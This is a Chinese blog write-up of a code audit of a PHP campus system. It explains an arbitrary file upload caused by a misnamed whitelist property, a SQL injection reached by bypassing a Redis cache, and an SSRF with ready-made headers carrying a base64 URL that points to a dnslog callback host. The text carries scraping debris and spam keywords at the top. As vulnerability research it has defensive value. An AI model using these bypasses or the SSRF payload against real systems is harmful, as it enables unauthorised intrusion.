岑溪网站,苏州要服务网站建设,快手评论点赞网站建设专业分站,access 网站开发前言
代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单)#xff0c;禁止未经允许进行转载#xff0c;发布到博客的用意主要是想跟师傅们能够交流下审计的思路#xff0c;毕竟审计的思路也是有说法的#xff0c;或者是相互源码共享也OK禁止未经允许进行转载发布到博客的用意主要是想跟师傅们能够交流下审计的思路毕竟审计的思路也是有说法的或者是相互源码共享也OK本次审计的目标是一套也是各大高校使用的通用系统已经提交相关SRC平台进行修复
路由分析
直接看登录接口 路由为 /setting.php/index/login
找对应源码 第一个接口setting对应Application下的文件
第二个接口Index对应Setting下的Controller文件名字
第三个接口为Controller的方法名字
代码审计
上传
Application\Admin\Controller\UploadController.class.php
在这个路径下继承了一个upload控制器父类 所以调用的接口如下 实例化了一个UploadFile()对象然后给他的属性赋值
重点关注以下代码
$upload-gt;exts array(jpg, gif, png, jpeg); // 设置附件上传类型发现这里会调用UploadFile()的魔术方法 跟进 public function __set($name,$value){if(isset($this-gt;config[$name])) {$this-gt;config[$name] $value;}}这里其实就是问题的本身要是传进来的在config里头不存在则返回空那么我们去看一下config的设置 private $config array(maxSize gt; -1, // 上传文件的最大值supportMulti gt; true, // 是否支持多文件上传allowExts gt; array(), // 允许上传的文件后缀 留空不作后缀检查allowTypes gt; array(), // 允许上传的文件类型 留空不做检查thumb gt; false, // 使用对上传图片进行缩略图处理imageClassPath gt; ORG.Util.Image, // 图库类包路径thumbMaxWidth gt; ,// 缩略图最大宽度thumbMaxHeight gt; ,// 缩略图最大高度thumbPrefix gt; thumb_,// 缩略图前缀thumbSuffix gt; ,thumbPath gt; ,// 缩略图保存路径thumbFile gt; ,// 缩略图文件名thumbExt gt; ,// 缩略图扩展名 thumbRemoveOrigin gt; false,// 是否移除原图thumbType gt; 0, // 缩略图生成方式 1 按设置大小截取 0 按原图等比例缩略zipImages gt; false,// 压缩图片文件上传autoSub gt; false,// 启用子目录保存文件subType gt; hash,// 子目录创建方式 可以使用hash date customsubDir gt; , // 子目录名称 subType为custom方式后有效dateFormat gt; Ymd,hashLevel gt; 1, // hash的目录层次savePath gt; ,// 上传文件保存路径autoCheck gt; true, // 是否自动检查附件uploadReplace gt; false,// 存在同名是否覆盖saveRule gt; uniqid,// 上传文件命名规则hashType gt; md5_file,// 上传文件Hash规则函数名);emmm根本没有 exts 所以说后缀根本没有检测可以从从调用的upload中查看
断到一个叫自动检查附件 步进一下进入check函数存在检查文件类型 再次跟进一下checkExt发现是一个很强的校验白名单 private function checkExt($ext) {if(!empty($this-gt;allowExts))return in_array(strtolower($ext),$this-gt;allowExts,true);return true;}但是重点是他并没有赋值进去 在这进行反向验证讲前面的属性修改为在config里头的内容 再次进行断点跟到最后面的config的地方发现成功修改 所以这套系统只要存在 $upload-gt;exts 这个的上传接口 就存在任意文件上传
SQL(绕redis缓存)
直接看前台控制器了
找到这个路由存在sql的问题 在这个代码里头可以发现 $count 跟 $listJson 是关键
$count的设置是为了不频繁查询所以这里只要设置随机伪造的PHPSESSID就可以了
$listJson 的设置就尤为关键了 if (!$listJson) 这里的语句是 我的redis去查phone就是要查不到 为null才能执行下面的sql语句所以phone就是要不存在的手机号才行所以就直接随机phone就可以了但是他在后续的代码中把这跟手机号给设置进了redis中 所以必须要把这跟phone随机化来绕redis的缓存才能进行正常注入
SSRF
这里全局搜索curl_exec( emm感觉是这里 确实是可控的
\Application\Course\Controller\DocumentController.class.php
从逻辑上来看
$_SERVER[HTTP_AUTHORIZATION] 跟 $_SERVER[HTTP_X_OSS_PUB_KEY_URL] 这两个值都得存在 他就不会进行403的跳转 那么这两个都是我们可控的只要在header头加入即可之后就会将我们传入的base64编码的值进行解码后给到curl进行直接curl执行
Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l
X-Oss-Pub-Key-Url: aHR0cDovL2RxM2JlMC5kbnNsb2cuY24远程测了一下也是完全没问题的 加入后返回两百 最终也是测出了SSRF 更多网络安全优质免费学习资料与干货教程加 送渗透工具、技术文档、书籍面试题、视频基础到进阶。环境搭建HTMLPHPMySQL基础学习信息收集SQL注入,XSSCSRF暴力破解等等、应急响应笔记、学习路线。
申明本账号所分享内容仅用于网络安全技术讨论切勿用于违法途径
所有渗透都需获取授权违者后果自行承担与本号及作者无关请谨记守法。